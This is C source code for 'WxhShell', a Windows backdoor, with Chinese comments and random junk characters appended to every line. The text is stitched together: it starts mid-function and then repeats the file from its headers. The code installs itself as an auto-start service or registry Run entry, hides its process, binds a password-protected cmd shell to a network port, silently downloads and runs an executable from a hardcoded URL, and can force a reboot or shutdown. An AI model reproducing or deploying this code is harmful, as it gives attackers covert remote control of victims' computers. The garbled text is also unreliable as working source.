    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F$,i_7Z&6  
    else { ibuoq X`  
    closesocket(wsh); dJ,,yA*  
    ExitThread(0); =W'{xG}  
    } y(6*)~Dh  
    break; h"$], =  
    } K"=I,Vr:  
  // 获取shell  4V 5  
  case 's': { -[A=\]RfJ  
    CmdShell(wsh); x1.yi-  
    closesocket(wsh); 3AC/;WB9  
    ExitThread(0); JW=P} h  
    break; g/z7_Aq/  
  } C1(0jUz  
  // 退出 J+nUxF;EE  
  case 'x': { V%w]HIhq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x)2ZbIDB:"  
    CloseIt(wsh); MM/D5g  
    break; *46hw(L  
    } ";/,FUJJ  
  // 离开 8|S}!P"  
  case 'q': { yex0rnQ|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BWG#W C  
    closesocket(wsh); AI*1kxR  
    WSACleanup(); ,a@jg&Mb]  
    exit(1); T oK'Pd  
    break; +Ft@S(IE  
        } cY%6+uJ1  
  } @O&;%IZMY  
  } G+W0X  
"D/\&1.&  
  // 提示信息 sxn^1|O;m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qa)Qf,`  
} 9d >AnTf&H  
  } A:Kit_A  
r=^?  
  return; J*r%b+  
} \XgpwvO".  
%D<>F&h  
// shell模块句柄 {wVJv1*l  
int CmdShell(SOCKET sock) &/]g@^h9  
{ )p+6yH  
STARTUPINFO si; KFn[  
ZeroMemory(&si,sizeof(si)); drf?7%v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z/[ww8b.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~g|z7o  
PROCESS_INFORMATION ProcessInfo; \~@a/J  
char cmdline[]="cmd"; De:| T8&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~e<h2/Xc  
  return 0; }>~]q)]  
} LRmH@-qP  
20k@!BNq  
// 自身启动模式 V.kRV{43  
int StartFromService(void) rh 7%<xb>  
{ & 0%x6vea  
typedef struct LIMPWw g  
{ $]S*(K3U ~  
  DWORD ExitStatus; jun$C Y4  
  DWORD PebBaseAddress; z!:%Hbh=  
  DWORD AffinityMask; L{AfrgN  
  DWORD BasePriority; <aGfQg|554  
  ULONG UniqueProcessId; Zdll}nO"E  
  ULONG InheritedFromUniqueProcessId; -_"6jU  
}   PROCESS_BASIC_INFORMATION; :]k`;;vh  
gKWsmx!["  
PROCNTQSIP NtQueryInformationProcess; U8R*i7  
OykYXFv*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3=xN)j#B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >]S-a-|Bp  
_ -C{:rV  
  HANDLE             hProcess; 1wM~),B8  
  PROCESS_BASIC_INFORMATION pbi; E)utrO R  
a+ lGN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _h8|shyP  
  if(NULL == hInst ) return 0; ]Geg;[ t  
@Xj6h!"R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x72T5.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;ax%H @o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z)U/bjf  
Sk|DVV $  
  if (!NtQueryInformationProcess) return 0; wDz}32wB  
UbSAyf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ftwn<B  
  if(!hProcess) return 0; ,f?+QV\T.  
f{eMh47 NC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U *']7-  
k86j& .m_  
  CloseHandle(hProcess); 55#s/`gd)^  
y?@(%PTp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?0k4l8R  
if(hProcess==NULL) return 0; lzup! `g  
TuX9:Q  
HMODULE hMod; Rt2<F-gY  
char procName[255]; af<wUxM0  
unsigned long cbNeeded; -Ay=*c.4  
<maY S2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @fO[{V  
l.`f^K=8  
  CloseHandle(hProcess); A~MIFr/8  
ym.:I@b?6  
if(strstr(procName,"services")) return 1; // 以服务启动 TG@ W:>N(  
2UJjYrm  
  return 0; // 注册表启动 )7}f .  
} Y$&+2w,)H,  
s(MLBV5)w  
// 主模块 3}9c0%}F  
int StartWxhshell(LPSTR lpCmdLine) o/5loV3h  
{ 6A,-?W'\  
  SOCKET wsl; sbV {RSl  
BOOL val=TRUE; 5T- N\)@  
  int port=0; P{gy/'PH,  
  struct sockaddr_in door; t2 0Es  
$K}Y  
  if(wscfg.ws_autoins) Install(); -N~eb^3[c  
3C7}V{?  
port=atoi(lpCmdLine); J2d 3&6  
P!K;`4Ika  
if(port<=0) port=wscfg.ws_port; W2W4w  
.1#G*A|  
  WSADATA data; N!iugGL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5}MjS$2og  
4J${gcju  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5 i;n:&Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); deVbNg8gs  
  door.sin_family = AF_INET; UG:S!w'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); na,i(m?l  
  door.sin_port = htons(port); 1]% ]"JbV  
(Ceq@eAlT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +(l(|lQy$  
closesocket(wsl); >4&s7][Q|  
return 1; NT&sk rzW  
} pRrokYM d  
wseb]=U  
  if(listen(wsl,2) == INVALID_SOCKET) { k1HVvMD<  
closesocket(wsl); dD.;P=AP  
return 1; "Q <  
} FhVoN}  
  Wxhshell(wsl); lbUUf}   
  WSACleanup(); nOj0"c  
# )]L3H<  
return 0; yON";|*\m  
y$6~&X  
} }G53"  
B9i< ="=p  
// 以NT服务方式启动 C^8n;i9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |E5\_Z  
{ !aQQq[  
DWORD   status = 0; :j}4F  
  DWORD   specificError = 0xfffffff; `#x}-A$  
fNnX{Wq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vE<z0l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GZCXm+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0V[`zOO(o  
  serviceStatus.dwWin32ExitCode     = 0; #$;i 4a  
  serviceStatus.dwServiceSpecificExitCode = 0; ll8Zo+-[  
  serviceStatus.dwCheckPoint       = 0;  L$Yg*]\  
  serviceStatus.dwWaitHint       = 0; CS|al(?~  
%|\Af>o4d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (`me}8  
  if (hServiceStatusHandle==0) return; xq-TT2}<L  
pf[m"t6G~  
status = GetLastError(); S&Szc0-|k  
  if (status!=NO_ERROR) Bt[Wh@  
{ lJIcU RI4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _Z{EO|L  
    serviceStatus.dwCheckPoint       = 0; P'Diie  
    serviceStatus.dwWaitHint       = 0; 8k|&&3_[?  
    serviceStatus.dwWin32ExitCode     = status; NL} Q3Vv1.  
    serviceStatus.dwServiceSpecificExitCode = specificError; dDxb}d x8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5g\>x;cc  
    return; @4xV3Xkf&C  
  } .bloaeu-  
2?)8s"Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pb5q2|u`h  
  serviceStatus.dwCheckPoint       = 0; S<nf"oy_K  
  serviceStatus.dwWaitHint       = 0; UZJ<|[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wpI_yp  
} D8*t zu-  
& @rXt!  
// 处理NT服务事件,比如:启动、停止 J_eu(d[9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iPeW;=-2Wk  
{ [8v>jQ)  
switch(fdwControl) Um2RLM%  
{ _6!@>`u~  
case SERVICE_CONTROL_STOP: &$L6*+`h#  
  serviceStatus.dwWin32ExitCode = 0; -J' 0qN!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zc|V7 +Yx  
  serviceStatus.dwCheckPoint   = 0; Y7_2pGvZ  
  serviceStatus.dwWaitHint     = 0; Z;M th#  
  { c]]e(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yx3ivjX.>  
  } -.!+i8d>  
  return; :pXY/Pa  
case SERVICE_CONTROL_PAUSE: KMll8X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6haw\ *  
  break; Ygs:Ox"[-G  
case SERVICE_CONTROL_CONTINUE:  JcJc&cG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  up==g  
  break; Xt9vTCox  
case SERVICE_CONTROL_INTERROGATE: d$qi. %<kh  
  break; 7,7-E&d  
}; Or3GrZ!H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tQWjNP~  
} -|g9__|@  
)kk10AZV-E  
// 标准应用程序主函数 #w6ty<b;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hzc5BC  
{ 6tZ ak1=V  
64LAZE QX  
// 获取操作系统版本 [~{'"-3L0  
OsIsNt=GetOsVer(); f[fH1cu&`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kv ~'*A)d  
Ls6C*<8  
  // 从命令行安装 ;>*Pwz`~jT  
  if(strpbrk(lpCmdLine,"iI")) Install(); t/B4?A@C  
U~I y),5  
  // 下载执行文件 Rv)*Wo!L  
if(wscfg.ws_downexe) { nI7v:h4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A~M.v0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,,=VF(@G  
} F!7\Za,  
?A]/ M~3B  
if(!OsIsNt) { $w+()iI  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?XllPnuKt%  
HideProc(); M.3ULt8  
StartWxhshell(lpCmdLine); JA2oy09G  
} 7KJ%-&L^  
else \&\U&^?  
  if(StartFromService()) D5"Xjo*  
  // 以服务方式启动 MN^d28^/  
  StartServiceCtrlDispatcher(DispatchTable); m(KBg'kQ  
else w\lc;4U   
  // 普通方式启动 9}A\Bh tiM  
  StartWxhshell(lpCmdLine); l8H8c &  
+%=lu14G  
return 0; M REB  
} ":!1gC  
XImX1GH  
WX4 f3Um  
e:+[}I)  
=========================================== au#/Q  
wK!7mZ  
h!J|4Q a  
P!u0_6  
g&r3 ;  
K^e4w`F|  
" ~FnuO!C  
$EG9V++b3  
#include <stdio.h> 9_x rw:4  
#include <string.h> e7r3o,!  
#include <windows.h> 9c{T|+ ]  
#include <winsock2.h> 5;@2SY7 ,  
#include <winsvc.h> js;k,`  
#include <urlmon.h>  N<~LgH  
6%Pvh- ~_  
#pragma comment (lib, "Ws2_32.lib") kgP6'`}E[  
#pragma comment (lib, "urlmon.lib") Y?AvcY.  
\ 0/m$V.  
#define MAX_USER   100 // 最大客户端连接数 ]jSRO30H3<  
#define BUF_SOCK   200 // sock buffer uaqV)H  
#define KEY_BUFF   255 // 输入 buffer w*\JA+  
nm,(Wdr  
#define REBOOT     0   // 重启 &mkL4 jXG  
#define SHUTDOWN   1   // 关机 ,wZq ~; 2  
4ufT-&m};s  
#define DEF_PORT   5000 // 监听端口 KEjMxOv1  
{]]#q0|  
#define REG_LEN     16   // 注册表键长度 tQE<'94A  
#define SVC_LEN     80   // NT服务名长度 "2ZuI; w  
L| ]fc9W:  
// 从dll定义API 2"EaF^?\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zmFS]IOv$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nT9Hw~f<j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L KLLBrm:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A "/|h].  
C6A!JegU  
// wxhshell配置信息 )Lg~2]'?j  
struct WSCFG { C9 j{:&  
  int ws_port;         // 监听端口 9L>73P{_  
  char ws_passstr[REG_LEN]; // 口令 .UYhj8  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3QCCX$,  
  char ws_regname[REG_LEN]; // 注册表键名 qOflvf  
  char ws_svcname[REG_LEN]; // 服务名 S2 MJb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z\-/R9E/5-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uf9L*Z'6il  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '.]<lh!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LKgo(&mY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <6&Z5mpm$w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q;.LK8M  
y ~Fi  
}; JC# 5CCz  
=w7+Yt  
// default Wxhshell configuration  \|C*b<  
struct WSCFG wscfg={DEF_PORT, T0N6k acl  
    "xuhuanlingzhe", q<[o 4qY  
    1, b+$E*}  
    "Wxhshell", aH\A  
    "Wxhshell", ko"xR%Q  
            "WxhShell Service", (5 e4>p&+  
    "Wrsky Windows CmdShell Service", gF:| j(  
    "Please Input Your Password: ", qq"0X! w  
  1, 8On MtP  
  "http://www.wrsky.com/wxhshell.exe", ?8FJMFv;4%  
  "Wxhshell.exe" fo~>y  
    }; '4}8WYKQ  
+1^L35\@  
// 消息定义模块 y?Pw6;e.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {a ]u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4'"WD0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EFv^uve  
char *msg_ws_ext="\n\rExit."; 8?ip,Q\  
char *msg_ws_end="\n\rQuit."; 9\uBX.]x  
char *msg_ws_boot="\n\rReboot..."; [#%@,C  
char *msg_ws_poff="\n\rShutdown..."; u/ri {neP{  
char *msg_ws_down="\n\rSave to "; I~4!8W-Y  
?kS#g  
char *msg_ws_err="\n\rErr!"; `A<2wd;  
char *msg_ws_ok="\n\rOK!"; K{:[0oIHc  
LTuT"}dT[  
char ExeFile[MAX_PATH]; % CQv&d2  
int nUser = 0;  r}}2 Kl  
HANDLE handles[MAX_USER]; vy-q<6T}:p  
int OsIsNt; sl:1P^b  
K^P&3H*(/n  
SERVICE_STATUS       serviceStatus; :i|Bz6Ht4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v8zOY#?  
LtPaTe  
// 函数声明 Hc-up.?v'v  
int Install(void); h]/3doP  
int Uninstall(void); E=91k.  
int DownloadFile(char *sURL, SOCKET wsh); \Nk578+AA  
int Boot(int flag); sQ+s3x1y  
void HideProc(void); 0"Zxbgu)  
int GetOsVer(void); ]|u7P{Z"R  
int Wxhshell(SOCKET wsl); X^rFRk  
void TalkWithClient(void *cs); mY]o_\`  
int CmdShell(SOCKET sock); cPkP/3I]h  
int StartFromService(void); LI<Emez  
int StartWxhshell(LPSTR lpCmdLine); G8'  
ab`9MJc;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5!aI~(3<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~[=d{M!$W  
u8gqWsvruM  
// 数据结构和表定义 0`Uw[Er&  
SERVICE_TABLE_ENTRY DispatchTable[] = O* lE0~rJ  
{ pu_?) U  
{wscfg.ws_svcname, NTServiceMain}, ]x(6^:D5  
{NULL, NULL} Dl,sl>{  
}; NKTy!zWh  
w`v` aw]  
// 自我安装 lbPn<  
int Install(void) V+r&Z<&  
{ |T]&8Q)S  
  char svExeFile[MAX_PATH]; y`z4S,  
  HKEY key; C~pQJ@bF0  
  strcpy(svExeFile,ExeFile); Yhjv[9  
(?ULp{VPFl  
// 如果是win9x系统,修改注册表设为自启动 ^]Q.V  
if(!OsIsNt) {  FjMKb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ev4_}!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8l'W[6  
  RegCloseKey(key); q>wO=qWx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) I(9qt>Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XA;f.u  
  RegCloseKey(key); nW<nOKTnk_  
  return 0; F'CJN$6Mw/  
    } uG/'9C6Z  
  } &[SFl{fx>-  
} brG!TJ   
else { KT+{-"4-  
y:_>R=sw  
// 如果是NT以上系统,安装为系统服务 d c/^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RJKi98xwJ  
if (schSCManager!=0) rITA-W O  
{ /qMiv7m~Q  
  SC_HANDLE schService = CreateService kU#k#4X4g  
  ( 6:AEg  
  schSCManager, Af r*'  
  wscfg.ws_svcname, O*Y?: t  
  wscfg.ws_svcdisp, cc>b#&s  
  SERVICE_ALL_ACCESS, CIf@G>e-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k7j[tB#  
  SERVICE_AUTO_START, CD5% iFy  
  SERVICE_ERROR_NORMAL, My Ky*wD  
  svExeFile, ;-BN~1Jg  
  NULL, \En"=)A  
  NULL, BoOuN94  
  NULL, [rW];H8:~  
  NULL, x-W~&`UU  
  NULL j"fx|6l)  
  ); q8n@fi6  
  if (schService!=0) y#8 W1%{x  
  { Zz+v3o0  
  CloseServiceHandle(schService); U| ?68B3  
  CloseServiceHandle(schSCManager); mU"Am0Bdjq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y[_|sIy*  
  strcat(svExeFile,wscfg.ws_svcname); W*DK pJy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _1mpsY<k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X|G[Ma?   
  RegCloseKey(key); 2-jXj9kp`  
  return 0; oE6`]^^  
    } 7WY~v2SDF  
  } 1Kr$JIcd  
  CloseServiceHandle(schSCManager); +-9-%O.(;  
} D u T6Od/f  
} sv!v`zh  
?k($Tc&Q  
return 1; !YI<A\P  
} o!U(=:*b  
UFu0{rY_  
// 自我卸载 u&[L!w  
int Uninstall(void) 9 W|'~r  
{ FP}I+Ys  
  HKEY key; 0pG + yec  
&[ ],rT  
if(!OsIsNt) { <&2<>*/.y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m{$}u@a  
  RegDeleteValue(key,wscfg.ws_regname); {`e-%<  
  RegCloseKey(key); 7a^D[f0V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `M{Ne:J  
  RegDeleteValue(key,wscfg.ws_regname); t\'MB  
  RegCloseKey(key); [@JK|50|K  
  return 0; OU}eTc(FeC  
  } DVMdRfA  
} _0FMwC#DY  
} e6mm;@F>  
else { /GM!3%'=  
{2m F\A#.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -84%6p2-  
if (schSCManager!=0) R4P&r=?  
{ >)G[ww[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R9Wr?  
  if (schService!=0) J/:U,01  
  { 'o4`GkNh)  
  if(DeleteService(schService)!=0) {  o0>|  
  CloseServiceHandle(schService); :zq Un&k&  
  CloseServiceHandle(schSCManager); /U0Hk>$~(  
  return 0; |)" y  
  } ^suQ7#g  
  CloseServiceHandle(schService); +P Dk>PdEt  
  } RAk"C!&^m  
  CloseServiceHandle(schSCManager); H V-;? 5  
} I8% -ii  
} qY'+@^<U;  
Pk;yn;  
return 1;  7U1 M;@y  
} ,4`Vl<6  
Ea][:3  
// 从指定url下载文件 g/ShC8@=u  
int DownloadFile(char *sURL, SOCKET wsh) 9 nY|S{L  
{ B$YoglEW:  
  HRESULT hr; -mGG:#yP  
char seps[]= "/"; 'DNxc  
char *token; IVZUB*wv)b  
char *file; @$ Nti>  
char myURL[MAX_PATH]; <66%(J>  
char myFILE[MAX_PATH]; (aC=,5N  
j|`lOH8  
strcpy(myURL,sURL); 7SH3k=x  
  token=strtok(myURL,seps); &-p~UZy  
  while(token!=NULL) ;%(sbA  
  { HRrR"b9:  
    file=token; FG+pR8aA$  
  token=strtok(NULL,seps); db8vm4  
  } = $^90Q,Z;  
}*}F_Y+  
GetCurrentDirectory(MAX_PATH,myFILE); ::'Y07  
strcat(myFILE, "\\"); ~piE$"]&  
strcat(myFILE, file); HeO&p@  
  send(wsh,myFILE,strlen(myFILE),0); RticGQy&5  
send(wsh,"...",3,0); M!mw6';k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K(lSR  
  if(hr==S_OK) O cPgw/ I  
return 0;  H!hd0.  
else Bq HqS  
return 1; {r$Ewc$Yb7  
1aV32oK  
} iGz*4^ %  
 E>i<2  
// 系统电源模块 FG{,l=Z0  
int Boot(int flag) xV`l6QS  
{ 4 qY  
  HANDLE hToken; ` - P1Y  
  TOKEN_PRIVILEGES tkp; 1KGf @u%-1  
,!alNNY  
  if(OsIsNt) { NqD Hrx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zv0sz])  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,7:-V<'Yv  
    tkp.PrivilegeCount = 1; ]s^+/8d=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vy[xu$y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (ER9.k2  
if(flag==REBOOT) { Wa.xm_4s2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >B~? }@^Gk  
  return 0; 53ZbtEwhwr  
}  <82&F  
else { e1E_$oJP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oQ/T5cOj  
  return 0; oIx|)[  
} (~{Y}n]s  
  } 94dd )/a  
  else { 6| o S 5  
if(flag==REBOOT) { v<g~ EjzCf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) febn?|@  
  return 0; CueC![pj  
} SiaW; ks  
else { /5"T46jD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .I_<\h7  
  return 0; :aaX Y:<  
} |4 \2,M#  
} 4r ~K`)/S'  
|ka/5o  
return 1; 1W\wIj.  
} ^VG].6  
1P1h);*Z  
// win9x进程隐藏模块 EmrkaV-?k  
void HideProc(void) LL (TD&  
{ .zt&HI.F  
[xrsa!$   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^xNzppz`]C  
  if ( hKernel != NULL ) 3h=kn@I  
  { 6)?u8K5%r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7%? bl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FvPWS!H  
    FreeLibrary(hKernel); +swTMR  
  } czu9a"M>X  
SpU|Q1Q/h  
return; :Z2997@Y  
} lN:;~;z_  
3Og}_  
// 获取操作系统版本 ;n*|AL7(  
int GetOsVer(void) sF[gjeIb  
{ ?<W|Ya  
  OSVERSIONINFO winfo; !vJ$$o6#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <bo)p6S&  
  GetVersionEx(&winfo); v6=%KXSF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o8<~zeI  
  return 1; KN657 |f  
  else 'NCqI  
  return 0; Gds(.]_  
} & C)1(  
,lvG5B\0  
// 客户端句柄模块 :2==7u7v?  
int Wxhshell(SOCKET wsl) ^t7u4w!  
{ B|"i`{>  
  SOCKET wsh; i.Y2]1  
  struct sockaddr_in client; BLaNS4e  
  DWORD myID; n-jPb064  
ovM;6o  
  while(nUser<MAX_USER) /J_ ],KdU  
{ zT6nC5E  
  int nSize=sizeof(client); C,eP!_O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nr$78] o9  
  if(wsh==INVALID_SOCKET) return 1; !DSm[Z1  
82EvlmD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z#N w[>NN*  
if(handles[nUser]==0) WrDFbcH  
  closesocket(wsh); %!nN<%  
else f"j9C% '*  
  nUser++; ]*mUc`  
  } p o)lN[v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EKF4 ]  
c"lwFr9x7  
  return 0; T"za|Fo  
} U_PH#e  
V-go?b`  
// 关闭 socket F09%f"9  
void CloseIt(SOCKET wsh) "h[)5V{  
{ 1`L.$T,1!  
closesocket(wsh); $"|r7n5[  
nUser--; m^qFaf)6  
ExitThread(0); K`9~#Zx$  
} =_C&lc"  
5j]!r  
// 客户端请求句柄 O<L=N-  
void TalkWithClient(void *cs) U*Y]cohh  
{ 2/V%jS[4#y  
|T/OOIA=sI  
  SOCKET wsh=(SOCKET)cs; Zv9JkY=+@  
  char pwd[SVC_LEN]; 9XDSL[[  
  char cmd[KEY_BUFF]; x X3I`  
char chr[1]; Q[NoFZ V!  
int i,j; Ym\<@[3+!  
!\1)?&y9j  
  while (nUser < MAX_USER) { jR[c3EA ;  
&a=rJvnIO&  
if(wscfg.ws_passstr) { 8+gp"!E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (T pnJq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w8Z#]kRv  
  //ZeroMemory(pwd,KEY_BUFF); `3VI9GmQ  
      i=0; >}~[ew  
  while(i<SVC_LEN) { 1irSI,j%z  
>5kz#|@P  
  // 设置超时 57;0,k5Gy  
  fd_set FdRead; 5,^DT15a4P  
  struct timeval TimeOut; weu+$Kr  
  FD_ZERO(&FdRead); _p 1!8*0]  
  FD_SET(wsh,&FdRead); -['& aey}a  
  TimeOut.tv_sec=8; WZ,k][~  
  TimeOut.tv_usec=0; U n)Xe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yq|_6zbYf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S{&%tj~U  
~<K,P   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jG{?>^  
  pwd=chr[0]; 08^f|K  
  if(chr[0]==0xd || chr[0]==0xa) { Lm`-q(!7w  
  pwd=0; rBQ<5.  
  break; U@yhFj_y  
  } ~%h )G#N  
  i++; |?^qs nB  
    } Ieq_XF]U  
}ixCbuD  
  // 如果是非法用户,关闭 socket z{1A x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UTu~"uCR  
} OwNM`xSa|\  
viYrPhH+z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YfT D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z>y6[o  
C)yw b6  
while(1) { qfCZ [D  
__tA(uA  
  ZeroMemory(cmd,KEY_BUFF); 0Mn |Yb4p  
r7_%t_O|IL  
      // 自动支持客户端 telnet标准   ue7D' UZL>  
  j=0; \Q}Y"oq  
  while(j<KEY_BUFF) { U.~G{H`G,u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s Y1@~v  
  cmd[j]=chr[0]; u5rvrn ]  
  if(chr[0]==0xa || chr[0]==0xd) { ZaY|v-  
  cmd[j]=0; <h#W*a  
  break; )ej1)RU"  
  }  Hk4k  
  j++; |H^v8^%>zm  
    } ](s5 ;ta   
.K4)#oC  
  // 下载文件 T`]%$$1s  
  if(strstr(cmd,"http://")) { _qf~ hhi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mpk+]n@  
  if(DownloadFile(cmd,wsh)) nTGf   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F?a 63,r  
  else "pK<d~Wu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _>`9]6\&  
  } xqg4b{  
  else { 4,:I{P_>6B  
Y&,}q_Z:  
    switch(cmd[0]) { t`hes $E  
  d42Y `Wu  
  // 帮助 \/ri|fm6l#  
  case '?': { DS%]7,g]  
